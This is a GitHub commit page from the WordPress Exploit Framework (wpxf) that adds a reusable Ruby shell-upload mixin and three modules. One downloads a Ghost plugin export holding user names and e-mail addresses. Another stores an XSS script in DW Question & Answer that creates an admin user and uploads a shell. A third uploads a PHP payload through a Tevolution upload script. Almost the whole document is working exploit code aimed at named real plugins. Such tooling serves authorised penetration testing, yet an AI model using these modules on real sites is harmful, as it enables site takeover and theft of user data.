Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit af7137f

Browse files
committed
Merge pull request #9 from rastating/new_modules
New modules and ShellUpload mixin
2 parents cb6f388 + b07fdc7 commit af7137f

11 files changed

+430
-154
lines changed

lib/wpxf/core.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,5 +28,6 @@
2828
require 'wpxf/wordpress/xss'
2929
require 'wpxf/wordpress/reflected_xss'
3030
require 'wpxf/wordpress/staged_reflected_xss'
31+
require 'wpxf/wordpress/shell_upload'
3132

3233
require 'wpxf/core/module'

lib/wpxf/wordpress/shell_upload.rb

Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
# Provides reusable functionality for shell upload modules.
2+
module Wpxf::WordPress::ShellUpload
3+
include Wpxf
4+
5+
# Initialize a new instance of {ShellUpload}
6+
def initialize
7+
super
8+
@session_cookie = nil
9+
@upload_result = nil
10+
@payload_name = nil
11+
@info[:desc] = 'This module exploits a file upload vulnerability '\
12+
'which allows users to upload and execute PHP '\
13+
'scripts in the context of the web server.'
14+
15+
register_advanced_options([
16+
IntegerOption.new(
17+
name: 'payload_name_length',
18+
desc: 'The number of characters to use when generating the payload name',
19+
required: true,
20+
default: rand(5..10),
21+
min: 1,
22+
max: 256
23+
)
24+
])
25+
26+
if requires_authentication
27+
register_options([
28+
StringOption.new(
29+
name: 'username',
30+
desc: 'The WordPress username to authenticate with',
31+
required: true
32+
),
33+
StringOption.new(
34+
name: 'password',
35+
desc: 'The WordPress password to authenticate with',
36+
required: true
37+
)
38+
])
39+
end
40+
end
41+
42+
# @return [Boolean] true if the module requires the user to authenticate.
43+
def requires_authentication
44+
false
45+
end
46+
47+
# @return [HttpResponse, nil] the {Wpxf::Net::HttpResponse} of the upload operation.
48+
def upload_result
49+
@upload_result
50+
end
51+
52+
# @return [String] the file name of the payload, including the file extension.
53+
def payload_name
54+
@payload_name
55+
end
56+
57+
# @return [String] the URL of the file used to upload the payload.
58+
def uploader_url
59+
end
60+
61+
# @return [BodyBuilder] the {Wpxf::Utility::BodyBuilder} used to generate the uploader form.
62+
def payload_body_builder
63+
end
64+
65+
# @return [String] the URL of the payload after it is uploaded to the target.
66+
def uploaded_payload_location
67+
end
68+
69+
# Run the module.
70+
# @return [Boolean] true if successful.
71+
def run
72+
return false unless super
73+
74+
if requires_authentication
75+
@session_cookie = authenticate_with_wordpress(datastore['username'], datastore['password'])
76+
return false unless @session_cookie
77+
end
78+
79+
emit_info 'Preparing payload...'
80+
@payload_name = "#{Utility::Text.rand_alpha(payload_name_length)}.php"
81+
builder = payload_body_builder
82+
return false unless builder
83+
84+
emit_info 'Uploading payload...'
85+
return false unless upload_payload(builder)
86+
87+
payload_url = uploaded_payload_location
88+
emit_success "Uploaded the payload to #{payload_url}", true
89+
90+
emit_info 'Executing the payload...'
91+
execute_payload(payload_url)
92+
93+
true
94+
end
95+
96+
# @return [String, nil] the current session cookie, if authenticated with the target.
97+
def session_cookie
98+
@session_cookie
99+
end
100+
101+
private
102+
103+
def payload_name_length
104+
normalized_option_value('payload_name_length')
105+
end
106+
107+
def upload_payload(builder)
108+
builder.create do |body|
109+
@upload_result = execute_post_request(url: uploader_url, body: body, cookie: @session_cookie)
110+
end
111+
112+
if @upload_result.nil? || @upload_result.timed_out?
113+
emit_error 'No response from the target'
114+
return false
115+
end
116+
117+
if @upload_result.code != 200
118+
emit_info "Response code: #{@upload_result.code}", true
119+
emit_info "Response body: #{@upload_result.body}", true
120+
emit_error 'Failed to upload payload'
121+
return false
122+
end
123+
124+
true
125+
end
126+
127+
def execute_payload(payload_url)
128+
res = execute_get_request(url: payload_url, cookie: @session_cookie)
129+
emit_success "Result: #{res.body}" if res && res.code == 200 && !res.body.strip.empty?
130+
end
131+
end
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
class Wpxf::Auxiliary::GhostUnrestrictedExportDownload < Wpxf::Module
2+
include Wpxf
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Ghost Plugin <= 0.5.5 - Unrestricted Export Download',
9+
desc: 'This module utilises a lack of user level validation in versions '\
10+
'<= 0.5.5 of the Ghost plugin to download an export of the WordPress '\
11+
'data, including usernames and e-mail addresses.',
12+
author: [
13+
'Josh Brody', # Disclosure
14+
'Rob Carr <rob[at]rastating.com>' # WPXF module
15+
],
16+
references: [
17+
['WPVDB', '8479']
18+
],
19+
date: 'May 02 2016'
20+
)
21+
22+
register_options([
23+
IntegerOption.new(
24+
name: 'http_client_timeout',
25+
desc: 'Max wait time in seconds for HTTP responses',
26+
default: 300,
27+
required: true
28+
),
29+
StringOption.new(
30+
name: 'export_path',
31+
desc: 'The file to save the JSON export to',
32+
required: true
33+
)
34+
])
35+
end
36+
37+
def check
38+
check_plugin_version_from_readme('ghost', '0.5.6')
39+
end
40+
41+
def export_path
42+
normalized_option_value('export_path')
43+
end
44+
45+
def download_url
46+
normalize_uri(wordpress_url_admin, 'tools.php')
47+
end
48+
49+
def print_detected_users
50+
file = File.read(export_path)
51+
json = JSON.parse(file)
52+
users = json['data']['users']
53+
54+
if users
55+
users_table = [{ name: 'Username', email: 'E-mail' }]
56+
users.each do |user|
57+
users_table.push(name: user['name'], email: user['email'])
58+
end
59+
60+
emit_success "Found #{users.length} users"
61+
emit_table users_table
62+
end
63+
rescue
64+
emit_error 'Failed to parse the download. The plugin may be disabled or the export may be corrupt.'
65+
end
66+
67+
def run
68+
return false unless super
69+
70+
emit_info 'Downloading website export...'
71+
res = download_file(
72+
url: download_url,
73+
method: :get,
74+
params: { 'ghostexport' => 'true', 'submit' => 'Download Ghost file' },
75+
local_filename: export_path
76+
)
77+
78+
if res.timed_out?
79+
emit_error 'Request timed out, try increasing the http_client_timeout'
80+
return false
81+
end
82+
83+
if res.code != 200
84+
emit_error "Server responded with code #{res.code}"
85+
return false
86+
end
87+
88+
print_detected_users
89+
emit_success "Saved export to #{export_path}"
90+
true
91+
end
92+
end
Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
class Wpxf::Exploit::DwQuestionAnswerStoredXssShellUpload < Wpxf::Module
2+
include Wpxf
3+
include Wpxf::WordPress::Xss
4+
5+
def initialize
6+
super
7+
8+
update_info(
9+
name: 'DW Question & Answer <= 1.4.2.2 Stored XSS Shell Upload',
10+
desc: 'This module exploits a lack of input validation in versions '\
11+
'<= 1.4.2.2 of the DW Question & Answer plugin which '\
12+
'allows unauthenticated users to store a script that will '\
13+
'create a new admin user and use the new credentials to '\
14+
'upload and execute a payload when an admin views the page.',
15+
author: [
16+
'Rahul Pratap Singh', # Vulnerability discovery
17+
'Rob Carr <rob[at]rastating.com>' # WPXF module
18+
],
19+
references: [
20+
['URL', 'https://0x62626262.wordpress.com/2016/03/11/dw-question-answer-xss-vulnerability/'],
21+
['WPVDB', '8413']
22+
],
23+
date: 'Mar 11 2016'
24+
)
25+
26+
register_options([
27+
StringOption.new(
28+
name: 'permalink',
29+
desc: 'The permalink to the ask a question page',
30+
default: '/?page_id=120',
31+
required: true
32+
)
33+
])
34+
end
35+
36+
def check
37+
check_plugin_version_from_readme('dw-question-answer', '1.4.2.3')
38+
end
39+
40+
def permalink
41+
normalize_uri(full_uri, datastore['permalink'])
42+
end
43+
44+
def fetch_nonce
45+
res = execute_get_request(url: permalink)
46+
return res.body[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1] if res && res.code == 200
47+
end
48+
49+
def store_script
50+
execute_post_request(
51+
url: normalize_uri(full_uri, datastore['permalink']),
52+
body: {
53+
'question-title' => Utility::Text.rand_alpha(10),
54+
'question-content' => Utility::Text.rand_alpha(10),
55+
'question-category' => Utility::Text.rand_numeric(1),
56+
'question-tag' => Utility::Text.rand_alpha(5),
57+
'_dwqa_anonymous_email' => Utility::Text.rand_email,
58+
'_dwqa_anonymous_name' => "\"><script>#{xss_ascii_encoded_include_script}</script><",
59+
'dwqa-question-submit' => 'Submit',
60+
'_wpnonce' => fetch_nonce,
61+
'_wp_http_referer' => datastore['permalink']
62+
}
63+
)
64+
end
65+
66+
def run
67+
return false unless super
68+
69+
@success = false
70+
emit_info 'Storing script...'
71+
emit_info xss_ascii_encoded_include_script, true
72+
res = store_script
73+
74+
if res.nil?
75+
emit_error 'No response from the target'
76+
return false
77+
end
78+
79+
if res.code != 200
80+
emit_error "Server responded with code #{res.code}"
81+
return false
82+
end
83+
84+
emit_success 'Script stored and will be executed when a user views the question'
85+
start_http_server
86+
87+
@success
88+
end
89+
end
Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
class Wpxf::Exploit::TevolutionShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ShellUpload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Tevolution < 2.3.0 Shell Upload',
9+
author: [
10+
'Rob Carr <rob[at]rastating.com>' # WPXF module
11+
],
12+
references: [
13+
['WPVDB', '8482'],
14+
['URL', 'https://templatic.com/news/security-vulnerability-found-themes/']
15+
],
16+
date: 'Apr 23 2016'
17+
)
18+
end
19+
20+
def check
21+
change_log = normalize_uri(plugin_url, 'change_log.txt')
22+
check_version_from_custom_file(change_log, /\(Version\s(\d\.\d\.\d)\)/, '2.3.0')
23+
end
24+
25+
def plugin_url
26+
normalize_uri(wordpress_url_plugins, 'Tevolution')
27+
end
28+
29+
def uploader_url
30+
normalize_uri(plugin_url, 'tmplconnector', 'monetize', 'templatic-custom_fields', 'single-upload.php')
31+
end
32+
33+
def payload_body_builder
34+
builder = Utility::BodyBuilder.new
35+
builder.add_file_from_string(Utility::Text.rand_alpha(5), payload.encoded, payload_name)
36+
builder
37+
end
38+
39+
def scrape_current_theme
40+
res = execute_get_request(url: full_uri)
41+
res.body[/\/wp-content\/themes\/(.*?)\//, 1] if res && res.body
42+
end
43+
44+
def uploaded_payload_location
45+
theme = scrape_current_theme
46+
normalize_uri(wordpress_url_themes, theme, 'images', 'tmp', payload_name)
47+
end
48+
end

0 commit comments

Comments
 (0)